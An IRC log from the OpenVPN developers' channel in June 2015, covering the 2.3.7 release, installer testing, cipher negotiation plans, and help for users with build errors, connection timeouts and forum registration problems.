-!- mode/#openvpn-devel [+o mattock2] by ChanServ 09:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 10:59 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 11:17 -!- dazo is now known as dazo_afk 13:05 -!- Haigha [~root@aela.xomg.net] has quit [Quit: WeeChat 1.0.1] 13:08 -!- Haigha [~root@aela.xomg.net] has joined #openvpn-devel 13:16 -!- Haigha [~root@aela.xomg.net] has left #openvpn-devel ["WeeChat 1.0.1"] 14:07 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 14:08 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:08 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Fri Jun 05 2015 01:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 03:56 * cron2_ wonders whether mattock has disappeared on his boat trip... 04:59 -!- dazo_afk is now known as dazo 05:33 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 252 seconds] 06:00 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 07:13 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 07:13 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 07:14 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 09:49 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 19:27 -!- dazo is now known as dazo_afk --- Day changed Sat Jun 06 2015 01:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 14:00 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 265 seconds] 14:02 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel --- Day changed Sun Jun 07 2015 03:10 <@cron2_> syzzer: what's the current state of affairs regarding AES256-GCM as --cipher, and --cipher pushability? 03:13 <@syzzer> my current implementation just accepts 'AES-256-GCM' (/CCM) as a cipher mode 03:13 <@syzzer> negotiation / pushability are on the todo 03:14 <@syzzer> (and that is quite tricky to do right, because the buffer size computation magic has to be changed) 06:21 <@cron2_> is AES-256-GCM = AEAD? 07:04 <@plaisthos> yes 07:05 <@plaisthos> GCM is AEAD 07:05 <@plaisthos> (or better gcm mode is one the AEAD cipher modes) 07:08 <@cron2_> thanks. No matter how often someone explains the acronyms to me, 6 weeks later, all is gone again 07:08 <@cron2_> *sigh* 07:11 <@plaisthos> cron2_: no problem 07:12 <@plaisthos> it easier to remember if you know what these acronym stand for and what that what they stand for actually does ;) 09:15 -!- curmudgeon [~user@122-57-236-45.jetstream.xtra.co.nz] has joined #openvpn-devel 09:19 < curmudgeon> The community page said to come here (and ask for mattock :) ). I am having problems registering for a forum account. I fill out the form, and get "creating your account - this will take a few minutes," but then when I try to log in, I get "The username or password is not valid. Please try again" (and when I try to register again, the same name and e-mail address are still available). 09:43 <@cron2_> mattock is on vacation... we hope he'll be back tomorrow morning 22:27 -!- Netsplit *.net <-> *.split quits: @cron2_ --- Day changed Mon Jun 08 2015 00:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:44 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:52 <@mattock1> ah, my urlwatch thing catched the first new spam that was added to Trac's front page... nuked it 01:15 <@mattock1> now to the openvpn 2.3.7 release 01:50 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:02 <@cron2> soho, where is mattock... 02:08 <@mattock1> here is he 02:08 <@mattock1> I'm about to start testing the 2.3.7 windows builds 02:08 <@mattock1> debian packages will have to wait until the evening as my home server's connection to my openvpn server seems to be down 02:09 <@mattock1> meaning I can't build debian packages before I'm back at home 02:11 <@cron2> good :-) (was worried your boat trip took you to unknown coasts with no network... or worse) 02:11 <@cron2> so, when are you returning? 02:14 <@cron2> (missing again...) 02:18 <@mattock1> I'm back in Finland but still in Helsinki (the capital)... I'll be back at home today evening 02:18 <@mattock1> taking the bus at 13:30 02:18 <@cron2> ah :) - so city sightseeing now? 02:19 <@mattock1> no, sitting on a couch and working 02:19 <@mattock1> I was born in Helsinki and my parents live here, so no need to sightsee anything :D 02:20 <@mattock1> do you guys have a Windows (7) box you could test the windows installers with? 02:20 <@mattock1> if not, I'll have to create a Win2012 VM in EC2 02:20 <@mattock1> just basic smoketesting (install, connect to a VPN) 02:21 <@mattock1> the installers are already here: http://build.openvpn.net/downloads/releases/ 02:21 <@vpnHelper> Title: Index of /downloads/releases/ (at build.openvpn.net) 02:23 <@syzzer> mattock1: I can test on W7 for you 02:23 * cron2 has XP and Win7 VMs but is a bit distracted right now 02:26 <@mattock1> syzzer: great! 02:27 <@mattock1> I'll misuse my tapbuilder VM on EC2 for testing 02:27 <@mattock1> that's a win2012 box 02:27 <@mattock1> win7 + win2012 is good enough I think 02:30 <@syzzer> yes, that should cover supported win versions for smoke testing 02:30 <@mattock1> takes a while... the instance has no public IP 02:47 <@syzzer> mattock1: I get 02:47 <@syzzer> "problem installing the TAP driver" (and no problem description) 02:48 <@syzzer> I'll try installing it separately 02:50 <@syzzer> but that *does* succeed, and re-installing succeeds too 02:50 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:04 <@mattock1> hmm, my tap-windows driver installed just fine, but does not come up 03:04 <@mattock1> not good 03:04 <@syzzer> asked a collegue to try on his W7 machine, for him everything works just fine 03:05 <@mattock1> odd 03:05 <@mattock1> nothing has changed at the tap-windows6 end, so this should "Just work" (tm) 03:06 <@mattock1> I'll double-check the build computer's setting 03:08 <@mattock1> ah, my test VM has tap-windows, not tap-windows6 03:11 <@mattock1> as usual, the problem was between the chair and the keyboard 03:11 <@mattock1> installed the I001 version 03:12 <@mattock1> oh yes, I601 works as intended 03:12 <@mattock1> syzzer: did you manage to pinpoint the problem you had with tap-windows6? 03:16 -!- dazo_afk is now known as dazo 03:47 <@syzzer> mattock1: no, the problem disappeared after the first install... 03:49 <@syzzer> and it did work flawlessly for my coworker, so I guess it was just something weird on my instance 04:29 <@mattock1> yeah 04:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:18 <@mattock1> cron2: is there anything particular I should add to the 2.3.7 release summary? 06:18 <@mattock1> or just "lots of bug fixes and small enhancements"? 06:18 <@ecrist> Do we have a 2.x or 3.x roadmap anywhere? 06:19 <@mattock1> there is a 3.x roadmap, but it's kind of pointless as James decided to rewrite openvpn in C++ a few years ago 06:20 <@mattock1> that new version is technically 3.x, but I'm not sure how similar it is to our "official" roadmap we created before James went on with his 3.x version 06:20 <@mattock1> creating a roadmap for James' 3.x does not make sense until he puts the code into Git 06:21 <@ecrist> when does he plan on doing that? 06:21 <@mattock1> I don't think we have a roadmap for 2.x 06:21 <@mattock1> no clue 06:21 <@mattock1> we do have some source code snapshots, but building on those does not make any sense 06:21 <@mattock1> he mentioned in Munich that he is working on the server part, so 3.x will be released eventually 06:21 <@mattock1> with client + server 06:21 <@mattock1> for a long time 3.x was client only 06:22 <@mattock1> but with James you can never be sure of the schedule 06:22 <@ecrist> that's a little sad. 06:23 <@ecrist> I thought he was more cooperative and open than that. 06:24 <@cron2> he is just... James. Brilliant, but not very talkative 06:25 <@mattock1> ecrist: james does not want to release anything until it's ready 06:25 <@mattock1> think of all the RC releases before 2.1.0 came out 06:25 <@cron2> but the fact that he actually flies to europe to take part in the hackathons actually speaks very much for "cooperative and open" 06:26 <@ecrist> I'll give him that, I suppose, I guess I meant more regarding the overall development. 06:27 <@mattock1> there is and has not been no real reason not to release 3.x since like 1,5 years 06:27 <@mattock1> the client code was already available about 2 years ago 06:27 <@mattock1> in the first Munich hackathon 06:28 <@mattock1> the fact that some sort of CLA is necessary also means that releasing the code would not cause any issues (like ruin the ability to relicense the code for Apple Appstore or such) 06:29 <@mattock1> cron2: is the null pointer thing serious enough to warrant a special mention and to suggest that "all users should upgrade their OpenVPN installations"? 06:33 <@mattock1> pretty much everything is ready except the Debian packages 06:37 <@cron2> mattock1: no. It needs a malicious server to exploit, and you need to trust the server 06:37 <@cron2> but there are bugfixes in the mtu handling for peer-id, so I would suggest wording it as "if you connect to a server that supports peer-id (TLS-floating), upgrade is recommended" 06:38 <@cron2> let me check ChangeLog 06:39 <@cron2> many minor bugfixes and documentation updates is one part, and "Re-enable TLS version negotiation by default" is actually an important thing to point out 06:40 <@mattock1> cron2: ok, I'll mention those two things 06:45 <@mattock1> "This release contains bugfixes in the MTU handling for peer-id (TLS floating), so if you connect to a server that supports it you should install this upgrade. In addition TLS version negotiation is again enabled by default. There are also a number of small bug fixes and enhancements. " 06:46 <@mattock1> ok? 06:48 <@cron2> nearly :) - the TLS version negotiation bit needs more space in the announcement, as people have been bitten before. I'd copy the commit message from 8dc6ed28941cb9b9167e0b466e96b5f11359eb59 06:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 07:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:04 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 08:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:49 <@mattock1> 2.3.7 is out 09:56 <@ecrist> hi mattock1 09:56 <@ecrist> swupdate.openvpn.org needs work wrt SSL config 09:57 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:01 <@cron2> mmmh, seems you've missed my comment about TLS version nego (@13:48) 10:02 -!- bus7d [~bus7d@unaffiliated/bus7d] has joined #openvpn-devel 10:02 < bus7d> o/ 10:02 < bus7d> I m stuck with a bug for 3 days ;) 10:02 * cron2 is stuck with bugs for many years now 10:03 * bus7d loves the wits 10:03 < bus7d> I m disconnected from my vpn for an Inactivity timeout several times each hours 10:03 < bus7d> the minimum connection time was around 3min and the max was 45min 10:04 <@cron2> so, what makes this a bug? 10:04 < bus7d> I really don't know as I m active on the network and my ping is good and constant 10:05 * cron2 bets $5 that this is a NAT in between that occasionally loses state and hands out a new external IP or external port number 10:05 < mattock_> cron2: not really, it's mentioned there 10:05 <@cron2> mattock_: yeah, but in far too little detail 10:05 < bus7d> cron2: thx for the hint 10:05 * cron2 suggested copying large parts of the commit message of 8dc6ed28941cb9b9167 10:06 < mattock_> ah, ok, I'll update the webpage later today 10:06 <@cron2> bus7d: you should see in the server logs if it displays a different ip/port at reconnect (in which case you want to upgrade the server to git master and the client to 2.3.7, and enjoy tls floating) 10:07 <@cron2> mattock_: thanks. Thought behind this is: it *will* bite people, and syzzer put all relevant info (like, which commands to work around it) into the commit log 10:07 -!- bus7d [~bus7d@unaffiliated/bus7d] has quit [Disconnected by services] 10:09 -!- bus7d [~bus7d@unaffiliated/bus7d] has joined #openvpn-devel 10:09 < bus7d> o/ again 10:10 < bus7d> cron2: so I may be must configure a static IP in my lan, 10:10 < bus7d> ? 10:10 <@cron2> no 10:10 <@cron2> (unless that address changes so often) 10:10 < bus7d> there is several post on the web for this issue but with no answers:/ 10:10 <@cron2> the web is large and full of mysteries... 10:11 < bus7d> ...you should join #Discord on irc.maddshark.net;) 10:11 <@cron2> look into the logs on the server, as I said above. Without that, nobody can answer this 10:11 < bus7d> I do not have access to the server log 10:11 < bus7d> :/ 10:11 <@cron2> in that case, ask whoever provides the service why your VPN keeps disconnecting 10:12 < bus7d> please could you tell me again what is the origin of the issue ? I missed it 10:12 <@cron2> mine does not, so I claim it is not a bug in openvpn 10:12 <@cron2> 17:05 * cron2 bets $5 that this is a NAT in between that occasionally loses state and hands out a new external IP or external port number 10:12 < bus7d> thx 10:12 <@cron2> maybe the provider's VPN server is overloaded and kicks you out just for fun... 10:13 < bus7d> lol 10:13 < bus7d> is it you? 10:13 < bus7d> eeheh 10:13 < bus7d> ;) 10:13 <@cron2> as I said: my vpn is not disconnecting randomly 10:14 < bus7d> yep I know I had no problem since last Friday and I said it s an openvpn bug cause everybody say this issue is an openvpn bug,) 10:16 <@cron2> yeah, that's the most convenient way to get people to ask elsewhere :) 10:16 < bus7d> it s really a mistery for me cause somebody tryied to connect to my vpn account and it does not had any Inactivity timeout issue 10:16 < bus7d> sorry for my english he does 10:17 < bus7d> could it be from my FAI? 10:17 <@cron2> whatever a FAI is - but as I said, this very much smells like something in your internet connection is messing with your packets 10:17 <@cron2> NAT = Network Address Translation 10:18 <@cron2> CGN = Carrier Grade Nat 10:18 < bus7d> sorry ISP 10:18 <@cron2> this stuff breaks sessions (and we have a workaround, namely TLS float, but you need a very new server and 2.3.7 client to make use of it) 10:18 <@cron2> but without looking at the server logs, this is guesswork 10:19 < bus7d> thx cron2 10:24 < bus7d> cron2: TLS float may fix this? 10:28 <@vpnHelper> RSS Update - tickets: #561: Probleme lösen mit neuem Mittel <https://community.openvpn.net/openvpn/ticket/561> 10:36 <@cron2> yes 10:36 <@cron2> if it's NAT state, tls-float will nicely update the server whenever a client moves to a new IP address or port 10:39 <@vpnHelper> RSS Update - tickets: #561: SPAM <https://community.openvpn.net/openvpn/ticket/561> 11:02 -!- bus7d [~bus7d@unaffiliated/bus7d] has quit [Quit: leaving] 12:02 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 12:02 <@mattock1> info on download page has been updated 13:11 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 13:11 < FlorianBd> Hi! I have gcc 4.8.0 and get : configure:4015: error: C compiler cannot create executables 13:22 <@dazo> FlorianBd: sounds like ./configure can't find the linker ... or that some CFLAGS makes gcc bail out 13:23 <@dazo> have a look at config.log and see if you find some clues there 13:23 * dazo compiles openvpn without any issues on RHEL 7.1 with gcc 4.8.3 13:24 < FlorianBd> dazo: no detail in log. I just cleared CFLAGS and same thing. Another machine compiles w/ gcc 4.9.1 but I don't see the difference between the 2. 13:26 <@dazo> can you pastebin the complete config.log ? 13:28 < FlorianBd> dazo: http://pastebin.com/EbqCGdme 13:30 <@dazo> FlorianBd: can you try to compile this code using just 'gcc $FILE' ? http://fpaste.org/230102/88221143/raw/ 13:32 < FlorianBd> dazo: gcc: error trying to exec 'cc1': execvp: No such file or directory 13:32 <@dazo> FlorianBd: you have a faulty compiler installed 13:32 < FlorianBd> dazo: however, my machine where it works does not have cc1 nor execvp either 13:33 <@dazo> cc1 is usually found under a /usr/libexec/gcc directory 13:33 <@dazo> it's part of the gcc compiler 13:34 < FlorianBd> dazo: should /usr be writable when compiling ? (because it's read-only right now, I plan to make it writable just for installing) 13:34 <@dazo> it should be whatever your distro have decided ... but generally /usr should not be writable by anyone else than root 13:35 <@dazo> if you need to change the chmod on system directories ... you're doing something really wrong 13:36 < FlorianBd> dazo: distro is very customized. I made it read-only on purpose. I'm talking about the mounting, not the permissions. 13:36 < FlorianBd> (but the sources working directory is writtable of course) 13:37 <@cron2> this sounds more like you also made it noexec...? Is there a cc1 somewhere under /usr/libexec/ and if yes, can you run it? 13:37 <@cron2> $ /usr/libexec/cc1 -? 13:37 <@cron2> cc1: error: unrecognized command line option "-?" 13:37 < FlorianBd> ah, another thing is that maybe configure does not know where extra gcc files are? e.g. cc1 is here: /usr/local/gcc-4.8.0/libexec/gcc/i686-pc-linux-gnu/4.8.0/cc1 Is there a way to set the gcc prefix? 13:38 <@cron2> if you install gcc elsewhere, the "gcc" binary that you call should know that 13:38 < FlorianBd> cron2: no, a read only disk has nothing to do with the chmod of the files. 13:38 <@cron2> FlorianBd: you can mount readonly+noexec, and that would prevent execution even if the stuff is there 13:39 < FlorianBd> ah, right. But I wouldn't have been able to boot then :) 13:41 <@cron2> anyway. If you run "gcc -v" it should tell you where it will look for its helper binaries - sounds like you might have two gcc binaries, one in /usr/bin (looking in /usr/libexec), one in /usr/local/bin, and PATH points to the wrong one 13:44 <@cron2> (and it might actually be much easier to compile openvpn on a sane system and copy over the resulting binary... as interesting as the excercise might be, it sounds very much like "total waste of time") 13:46 <@dazo> +1 13:50 < FlorianBd> cron2: ah so there's no native compilation? 13:50 < FlorianBd> cron2: PS: that's right, I thought /usr/bin/gcc was a symlink but it's actually a real bin 13:51 < FlorianBd> is there any way to force the path to gcc ? that would avoid the need to remount my system rw and make a symlink 14:02 <@cron2> PATH=/usr/local/bin:$PATH 14:02 <@cron2> configure... 14:02 <@cron2> of course there's native compilation, but that requires a sane system - and what you describe isn't 14:08 < FlorianBd> :) 14:09 < FlorianBd> cron2: PATH did the job :) -> PATH=/usr/local/gcc-4.8.0/bin:$PATH 14:10 < FlorianBd> so it executes the right gcc binary instead of trying the one in /usr/bin first 14:15 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 276 seconds] 14:17 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 16:12 -!- dazo is now known as dazo_afk 22:07 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-kzttxcrbzhmzgotc] has quit [Remote host closed the connection] --- Day changed Tue Jun 09 2015 01:36 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-nxmuluonvznvrkmg] has joined #openvpn-devel 02:50 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 02:51 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:52 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 03:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:40 -!- dazo_afk is now known as dazo 14:33 -!- dazo is now known as dazo_afk 17:40 < FlorianBd> Hi :) Can someone tell me which CFLAGS I should use to compile an exportable 64 binary of openvpn? (both machines are 64 but libs are different) 17:42 < floppym> FlorianBd: Exportable? 17:43 < floppym> I'm not sure quite what you mean by that. 17:43 < FlorianBd> floppym: I compile on a machine and it will run on another 17:44 < floppym> Well, you could do CFLAGS="-static" as a huge kludge. 17:44 < FlorianBd> but both are slackware64, just different libs 17:44 < FlorianBd> ah.... that's the word I was looking for :) 17:44 < floppym> Otherwise, you need to build on a similar system. 17:44 < FlorianBd> floppym: static will still build a 64 only? 17:45 < floppym> It will build 64-bit by default on a 64-bit machine, yes. 17:45 < floppym> It would only do 32-bit if you used a 32-bit toolchain or added -m32 to CFLAGS. 17:46 < FlorianBd> ok great, thank you 18:06 < FlorianBd> What does it check to see if libpam is here? I have it (1.1.8) but it doesn't find it 18:24 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 18:26 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:27 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 19:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 20:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 20:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 21:35 < FlorianBd> Hi, I do have libpam (1.1.8) w/ the includes but configure does not find pam (configure: error: libpam required but missing) Any idea? --- Day changed Wed Jun 10 2015 01:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:05 <@cron2> check config.log - it will show the command it runs and the error it receives 02:44 -!- dazo_afk is now known as dazo 05:27 <@dazo> when ./configure complains about libpam missing ... it often means the header files are lacking ... which in most distros means that a pam development package is not installed 07:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:04 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:06 < FlorianBd> sorry for the delay cron2 and dazo. The command seems to simply be a -lpam argument, and the headers are all there. I don't get it. 10:07 <@cron2> what.is.the.output? 10:07 -!- dazo is now known as dazo_afk 10:12 < curmudgeon> The community page said to come here (and ask for mattock :) ). I am having problems registering for a forum account. I fill out the form, and get "creating your account - this will take a few minutes," but then when I try to log in, I get "The username or password is not valid. Please try again" (and when I try to register again, the same name and e-mail address are still available). 10:15 <@mattock1> curmudgeon: are you sure you're not blocking javascript or something? 10:16 <@mattock1> you should receive an email if your account was created successfully 10:16 < curmudgeon> I made sure to enable both javascript and cookies (and even sending the referer header). 10:16 <@mattock1> and you should be logged in to the Pwm thing after the "creating your account ..." thing has finished 10:17 <@mattock1> what is the account name or email you tried to use? 10:17 <@mattock1> I can check if it's present 10:18 < curmudgeon> The account name was np. 10:18 < curmudgeon> I will go through the process again. 10:18 <@mattock1> can you try a longer account name? 10:19 < curmudgeon> I guess I can. I didn't know there were any restrictions. 10:20 <@mattock1> there is no "np" account, so the registration did not go through 10:20 <@mattock1> that _could_ be an issue, can't recall exactly 10:20 < curmudgeon> Just pressed the create button to try again. I see "Your new account is being configured. This process may take several minutes, please be patient." 10:20 < curmudgeon> And that is the last thing I saw before. 10:21 < curmudgeon> That page eventually timed out. 10:21 <@mattock1> so does it just hang indefinitely in that phase? 10:21 <@mattock1> ok 10:22 < curmudgeon> Yes. 10:24 <@mattock1> I'll try to create a user myself and monitor the logs meanwhile 10:26 <@mattock1> worked for me like a charm 10:26 < curmudgeon> Just tried a four character user name (I will let you know the result). 10:27 <@mattock1> ok 10:28 < curmudgeon> How long should I bee on the "Your new account is being configured" page (it looks like I am stuck there again)? 10:29 <@mattock1> a few seconds at most 10:29 < curmudgeon> Been a couple of minutes already. 10:29 <@mattock1> your'e on this page, right: https://community.openvpn.net/pwm 10:30 <@mattock1> what is your external IP address? I just got some Java exception in the logs? 10:30 < curmudgeon> https://community.openvpn.net/pwm/public/NewUser 10:31 <@mattock1> yeah, that is the correct URL 10:31 < curmudgeon> 122.57.236.45 10:32 <@mattock1> found your session 10:32 <@mattock1> I would probably try a different browser, or if that's not an option, I can create the account for you and you can reset your password yourself 10:33 <@mattock1> let me know which option your prefer 10:34 < curmudgeon> Why don't you create it? 10:35 <@mattock1> I sure can 10:35 < curmudgeon> Thanks. 10:36 <@mattock1> can you send me your firstname, lastname and email in a private IRC message / email? 10:36 < curmudgeon> Sure. Which e-mail address? 10:37 <@mattock1> samuli@openvpn.net 10:37 < curmudgeon> Will send it right away. 10:44 <@mattock1> username is "np", password sent via email, please login to Pwm and change to your liking 10:45 < curmudgeon> Thank you - I will do that right away. 10:45 <@mattock1> excellent! 10:45 <@mattock1> I'll split now, have to make some dinner 11:23 < curmudgeon> Can I ask you to manually reset my password and e-mail it to me? When I try to log in, I get: "You have specified an incorrect password. Please check your password and try again. If you continue to have problems please contact the Board Administrator." When I go through the change procedure, I get: "New password accepted, please click change password" and then "Your password is being changed. This process may take several minutes 14:19 <@mattock1> hmm, you should not be able to change the password from the forums 14:19 <@mattock1> you're logging in to forums.openvpn.net? 14:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 15:47 < FlorianBd> cron2: arf, I'm slow :) (please mention my name so I see it) Output is configure: error: libpam required but missing 15:52 <@cron2> FlorianBd: *sigh*. configure writes a log. In there, you see the exact command that configure calls to determine whether libpam is available, and what error *THAT COMMAND* produces 15:55 < FlorianBd> cron2: http://dl.florianbador.com/config-log 15:55 < FlorianBd> the only thing I see is -lpam 15:56 <@cron2> the error message is 15:57 <@cron2> /usr/bin/ld: cannot find -lpam 15:57 < FlorianBd> ok but I don't see how that would help me to understand why it can't find it 15:58 <@cron2> which means that there is no libpam.a on your system, at least not in the search path ld is looking for (it might be somewhere else, or a 32 bit library on a 64 bit system, ...) 15:59 <@cron2> you could just ignore that failure and build with configure --disable-plugins (the only thing needing pam is plugin-auth-pam, so disabling building plugins should make it not search for pam) 15:59 < FlorianBd> http://dl.florianbador.com/find-usr-pam 16:00 < FlorianBd> ah 16:00 <@cron2> I wonder why you look for pam when I tell you to look for *lib*pam... 16:00 < FlorianBd> .a, not .la :) hmmm How do I build it from pam sources? 16:01 < FlorianBd> cron2: just to make sure there's everything :) 16:01 <@cron2> the .la might work or not - it's a text file, look inside. .la are strange 16:02 < FlorianBd> cron2: so I could make a link from .a to .la ? 16:02 <@cron2> no 16:02 <@cron2> it's a text file, look inside 16:02 <@cron2> it's a text file, look inside 16:02 <@cron2> it's a text file, look inside 16:02 <@cron2> it might give hints or not 16:03 <@cron2> and /usr/local/Linux-PAM-1.1.8/ should have files inside like "README" or "INSTALL" that tell you how to build and install the library 16:05 < FlorianBd> I build this pam 16:05 < FlorianBd> /usr/lib64/libpam* are links to this build 16:05 <@cron2> maybe your ld isn't looking in /usr/lib64 but only in /usr/local/gcc... 16:06 <@cron2> hard to say, your system is so messed up 16:07 < FlorianBd> what are .a files? 16:07 <@cron2> static libraries and/or stub libraries referencing .so files 16:07 <@cron2> .so is shared libraries that are not put *into* your program but just called from it 16:08 <@cron2> I'm not exactly sure about linux these days, whether you need the .a or can link the .so right away - normally "-lpam" tells the linker "find libpam.<whateveryouneed> and link it", so you don't have to know in detail 16:09 < FlorianBd> well, then i could rebuild pam with --enable-static-modules 16:10 <@cron2> ok, my NetBSD man page tells me that libpam.so should be good enough - which you have, but your linker is not finding it. So maybe it is not in the right path, or not the right format, or the symlinks are broken 16:10 <@cron2> so find out where your "ld" is looking for it 16:11 <@cron2> (and, as I said, just build openvpn with --disable-plugins so you don't *need* PAM... unless you want to have plugin-auth-pam.so, there is nothing you'll miss) 16:11 * cron2 goes to bed... late here 16:11 < FlorianBd> haha 16:11 < FlorianBd> ok that's even more simply then :D 16:12 < FlorianBd> thank and good night cron2 :) 16:57 <@ecrist> cron2: sorry, forgot to roll another port update 16:57 <@ecrist> *actually* doing it now 17:01 <@ecrist> PR 200774, cron2 --- Day changed Thu Jun 11 2015 00:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:20 < curmudgeon> Hi. I am trying to login on https://forums.openvpn.net/ucp.php?mode=login (I am somewhat embarrassed to admit that I went to change my password even before I tested the login with the password you sent). None of the changes (attempted on https://community.openvpn.net/pwm/public/ForgottenPassword) have worked. I assume there are more errors in the logs. :) What I would like you to do is assign a password (I use a password manager, 01:21 <@vpnHelper> Title: OpenVPN Support Forum User Control Panel Login (at forums.openvpn.net) 01:33 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Ping timeout: 255 seconds] 01:34 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 02:28 <@cron2> ecrist: thanks 02:28 <@cron2> (mandree has upgraded the regular openvpn port to 2.3.7 as well :-)) 03:54 -!- dazo_afk is now known as dazo 07:18 <@syzzer> d12fk: are you around? 07:19 <@syzzer> I did some work on the interactive service patch. everything compiles, but I can't convince Windows to start the service... 07:20 <@syzzer> (that is compiled with polarssl, I still didn't manage to build openssl for windows properly...) 07:42 <@ecrist> curmudgeon: I can help, but this isn't the normal channel for such support 07:59 < curmudgeon> Thanks. I did encounter a page when I first tried to register an account that said to come here and ask for Mattock. What is the proper channel for web site issues? 08:50 <@ecrist> if he posted that to a page, then this is fine. 08:53 <@d12fk> syzzer: ssl flavor should not matter 10:50 <@syzzer> mattock1: you should have waited a bit longer with the release ;) 10:50 <@syzzer> http://www.openssl.org/news/secadv_20150611.txt 10:51 <@syzzer> (at first sight nothing that warrants emergency releases, though) 11:28 <@dazo> syzzer: seen this one? https://jbp.io/2015/06/11/cve-2015-1788-openssl-binpoly-hang/ 11:29 <@dazo> oh, it's actually listed in the secadv_20150611.txt :) 11:34 <@mattock1> syzzer: well, releasing a new windows installer is pretty easy 15:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 17:19 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Remote host closed the connection] 17:22 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 17:45 < FlorianBd> hmmm I get this weird "memory corruption" crash : https://florianbador.com/dl/openvpn-error 17:51 < FlorianBd> ah, it seems my grsec is refusing something to openvpn. I edited the file to add the syslog lines at the end. 17:52 < FlorianBd> Then it might be #openvpn :) 17:54 < FlorianBd> ah, in fact grsec is just refusing the core dump afterwards I think 18:53 -!- dazo is now known as dazo_afk 21:18 <@ecrist> what is plaisthos' name? 21:19 <@ecrist> and what's the name of his android app? 21:19 < esde> Arne Schwab 21:19 < esde> Openvpn for Android 21:20 < esde> aka de.blinkt.openvpn 21:21 <@ecrist> thanks esde 21:21 < esde> yw 21:21 < esde> *Schwabe 21:21 < esde> (sorry plaisthos) 21:22 <@ecrist> cron2: With the FreeBSD package utility, I could publish an openvpn-devel package repo, and auto-built weekly or nightly builds if you think it would help. 21:22 <@ecrist> it wouldn't have the benefit of all the assorted platform builds the FreeBSD cluster has, though. 